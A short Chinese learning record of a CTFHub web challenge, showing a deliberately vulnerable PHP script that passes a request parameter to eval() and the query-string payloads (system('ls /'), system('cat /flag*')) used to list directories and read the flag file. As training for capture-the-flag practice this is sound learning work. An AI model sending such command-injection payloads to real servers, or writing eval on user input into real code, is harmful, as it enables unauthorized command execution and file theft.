CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
千寻girling11 小时前
记录第一次学习 Docker
学习·docker·容器
Kobebryant-Manba11 小时前
学习RNN(简洁实现)
人工智能·rnn·学习
知南x12 小时前
【DPDK例程学习】(4) l2fwd
学习·word
努力努力再努力FFF12 小时前
大学四年AI能力规划:从入门学习到简历表达
人工智能·学习
Litluecat12 小时前
配合多角色提示语3,学习AI漫剧(刚开始学)
人工智能·学习·ai·提示词·短剧·漫剧
三品吉他手会点灯12 小时前
STM32F103 学习笔记-24-I2C-读写EEPROM(第1节)-I2C物理层介绍
笔记·stm32·学习
MartinYeung512 小时前
[论文学习]大型语言模型中个人可识别资讯(PII)的机器遗忘技术:UnlearnPII 基准与 PERMU_tok 方法的深度分析
人工智能·学习·语言模型
fanged13 小时前
Linux内核学习21--V4L2学习3(应用)(TODO)
学习
GHL28427109014 小时前
PowerShell快捷键学习
学习
半导体守望者15 小时前
AE电源闭环控制——反应溅射的集成解决方案
经验分享·学习·机器人·自动化·制造